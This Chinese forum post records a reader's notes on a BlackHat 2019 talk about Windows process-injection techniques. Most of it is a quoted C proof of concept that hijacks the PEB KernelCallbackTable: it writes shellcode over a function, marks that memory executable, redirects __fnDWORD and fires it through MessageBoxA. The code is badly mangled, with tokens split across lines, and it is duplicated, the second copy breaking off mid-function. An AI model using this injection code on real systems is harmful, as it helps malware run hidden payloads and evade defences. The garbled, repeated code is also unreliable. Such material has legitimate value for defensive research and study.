-
-
[原创]《Process Injection Techniques - Gotta Catch Them All》议题读后记
-
发表于: 2022-2-10 13:37 8071
-
BlackHat 2019议题,相关链接如下:
• Presentation Slides
• White Paper
• Tool
作者于文中讨论的是True Process Injection:
Injection可划分为两项子技术:
所以作者在Paper中将所有提到的技术划分为两类——write primitive与execution method,每一项Injection后面会标注其属于哪一类:
作者在列出每一项Injection后分析其核心原理,给出POC,并给出评估:
最后列出表格总结前文提到的所有技术。作者在最后还提到一个有意思的Auxiliary Technique:
Paper中第16项 KernelControlTable execution method (FinFisher/FinSpy 2018),Lazarus在最近的攻击活动中利用了该技术——North Korea’s Lazarus APT leverages Windows Update client, GitHub in latest campaign,笔者在Lazarus KernelCallbackTable Hooking一文中对其进行了简要分析,ORCA666近日发布了POC:
ORCA666发布的另一个项目snaploader:
本文可以当作是一篇汇总,记录了笔者在阅读BlackHat 2019《Process Injection Techniques - Gotta Catch Them All》议题时所搜集到的相关资料,0x04 References部分1-7都在White Paper中有提到,笔者认为原文会比Paper更详尽一些。另,modexp与Hexacorn上有很多关于Process Injection这方面的博客。
PssSuccess
=
PssCaptureSnapshot(
TargetProcess,
PSS_QUERY_PROCESS_INFORMATION,
NULL,
&SnapshotHandle);
if
(PssSuccess !
=
ERROR_SUCCESS) {
printf(
"[!] PssCaptureSnapshot failed: Win32 error %d \n"
, GetLastError());
return
FALSE;
}
PssSuccess
=
PssQuerySnapshot(
SnapshotHandle,
PSS_QUERY_PROCESS_INFORMATION,
&PI,
sizeof(PSS_PROCESS_INFORMATION)
);
if
(PssSuccess !
=
ERROR_SUCCESS) {
printf(
"[!] PssQuerySnapshot failed: Win32 error %d \n"
, GetLastError());
return
FALSE;
}
if
(PI.PebBaseAddress
=
=
NULL) {
printf(
"[!] PI.PebBaseAddress IS NULL \n"
);
return
FALSE;
}
else
{
/
/
ReadProcessMemory(TargetProcess, PI.PebBaseAddress, &peb, sizeof(peb), &lpNumberOfBytesRead);
RtlMoveMemory(&peb, PI.PebBaseAddress, sizeof(PEB));
if
(peb.KernelCallbackTable
=
=
0
){
printf(
"[!] KernelCallbackTable is NULL : Win32 error %d \n"
, GetLastError());
return
FALSE;
}
else
{
memcpy(&kct, peb.KernelCallbackTable, sizeof(kct));
printf(
"[i] [BEFORE]kct.__fnDWORD : %0-16p \n"
, (void
*
) kct.__fnDWORD);
if
(Clean
=
=
TRUE){
/
/
ReadProcessMemory(TargetProcess, WMIsAO_ADD, &
Buffer
, Size, &lpNumberOfBytesRead);
RtlMoveMemory(&
Buffer
, WMIsAO_ADD, Size);
if
(
Buffer
=
=
NULL) {
printf(
"[!] Buffer is NULL: Win32 error %d \n"
, GetLastError());
return
FALSE;
}
}
Success
=
VirtualProtect(WMIsAO_ADD, Size, PAGE_READWRITE, &Old);
if
(Success !
=
TRUE) {
printf(
"[!] [1] VirtualProtect failed: Win32 error %d \n"
, GetLastError());
return
FALSE;
}
memcpy(WMIsAO_ADD, rawData, Size);
Success
=
VirtualProtect(WMIsAO_ADD, Size, PAGE_EXECUTE_READWRITE, &Old);
if
(Success !
=
TRUE) {
printf(
"[!] [2] VirtualProtect failed: Win32 error %d \n"
, GetLastError());
return
FALSE;
}
printf(
"[i] WMIsAO_ADD : %0-16p \n"
, (void
*
)WMIsAO_ADD);
memcpy(&Newkct, &kct, sizeof(KERNELCALLBACKTABLE));
Newkct.__fnDWORD
=
(ULONG_PTR)WMIsAO_ADD;
pNewkct
=
VirtualAlloc(NULL, sizeof(KERNELCALLBACKTABLE), MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
memcpy(pNewkct, &Newkct, sizeof(KERNELCALLBACKTABLE));
Success
=
VirtualProtect(PI.PebBaseAddress, sizeof(PEB), PAGE_READWRITE, &Old);
/
/
WriteProcessMemory(TargetProcess, (PBYTE)PI.PebBaseAddress
+
offsetof(PEB, KernelCallbackTable), &pNewkct, sizeof(ULONG_PTR), &lpNumberOfBytesWritten);
RtlMoveMemory((PBYTE)PI.PebBaseAddress
+
offsetof(PEB, KernelCallbackTable), &pNewkct, sizeof(ULONG_PTR));
Success
=
VirtualProtect(PI.PebBaseAddress, sizeof(PEB), Old, &Old);
/
/
if
(lpNumberOfBytesWritten
=
=
0
) {
/
/
printf(
"[!] WriteProcessMemory failed: Win32 error %d \n"
, GetLastError());
/
/
return
FALSE;
/
/
}
/
/
else
{
Check_fnDWORDAfterOverWriting(TargetProcess);
MessageBoxA(NULL,
"test"
,
"test"
, MB_OK);
/
/
this will trigger the shellcode,
and
u wont see the messagebox ;
0
if
(Clean
=
=
TRUE) {
/
/
WriteProcessMemory(TargetProcess, WMIsAO_ADD, &
Buffer
, sizeof(
Buffer
), &lpNumberOfBytesWritten);
RtlMoveMemory(WMIsAO_ADD,
Buffer
, sizeof(
Buffer
));
ZeroMemory(
Buffer
, sizeof(
Buffer
));
}
/
/
}
return
TRUE;
}
}
PssSuccess
=
PssCaptureSnapshot(
TargetProcess,
PSS_QUERY_PROCESS_INFORMATION,
NULL,
&SnapshotHandle);
if
(PssSuccess !
=
ERROR_SUCCESS) {
printf(
"[!] PssCaptureSnapshot failed: Win32 error %d \n"
, GetLastError());
return
FALSE;
}
PssSuccess
=
PssQuerySnapshot(
SnapshotHandle,
PSS_QUERY_PROCESS_INFORMATION,
&PI,
sizeof(PSS_PROCESS_INFORMATION)
);
if
(PssSuccess !
=
ERROR_SUCCESS) {
printf(
"[!] PssQuerySnapshot failed: Win32 error %d \n"
, GetLastError());
return
FALSE;
}
if
(PI.PebBaseAddress
=
=
NULL) {
printf(
"[!] PI.PebBaseAddress IS NULL \n"
);
return
FALSE;
}
else
{
/
/
ReadProcessMemory(TargetProcess, PI.PebBaseAddress, &peb, sizeof(peb), &lpNumberOfBytesRead);
RtlMoveMemory(&peb, PI.PebBaseAddress, sizeof(PEB));
if
(peb.KernelCallbackTable
=
=
0
){
printf(
"[!] KernelCallbackTable is NULL : Win32 error %d \n"
, GetLastError());
return
FALSE;
}
else
{
memcpy(&kct, peb.KernelCallbackTable, sizeof(kct));
printf(
"[i] [BEFORE]kct.__fnDWORD : %0-16p \n"
, (void
*
) kct.__fnDWORD);
if
(Clean
=
=
TRUE){
/
/
ReadProcessMemory(TargetProcess, WMIsAO_ADD, &
Buffer
, Size, &lpNumberOfBytesRead);
RtlMoveMemory(&
Buffer
, WMIsAO_ADD, Size);
if
(
Buffer
=
=
NULL) {
printf(
"[!] Buffer is NULL: Win32 error %d \n"
, GetLastError());
return
FALSE;
}
}
Success
=
VirtualProtect(WMIsAO_ADD, Size, PAGE_READWRITE, &Old);
if
(Success !
=
TRUE) {
printf(
"[!] [1] VirtualProtect failed: Win32 error %d \n"
, GetLastError());
return
FALSE;
}
memcpy(WMIsAO_ADD, rawData, Size);
Success
=
VirtualProtect(WMIsAO_ADD, Size, PAGE_EXECUTE_READWRITE, &Old);
if
(Success !
=
TRUE) {
printf(
"[!] [2] VirtualProtect failed: Win32 error %d \n"
, GetLastError());
return
FALSE;
}
printf(
"[i] WMIsAO_ADD : %0-16p \n"
, (void
*
)WMIsAO_ADD);
[注意]传递专业知识、拓宽行业人脉——看雪讲师团队等你加入!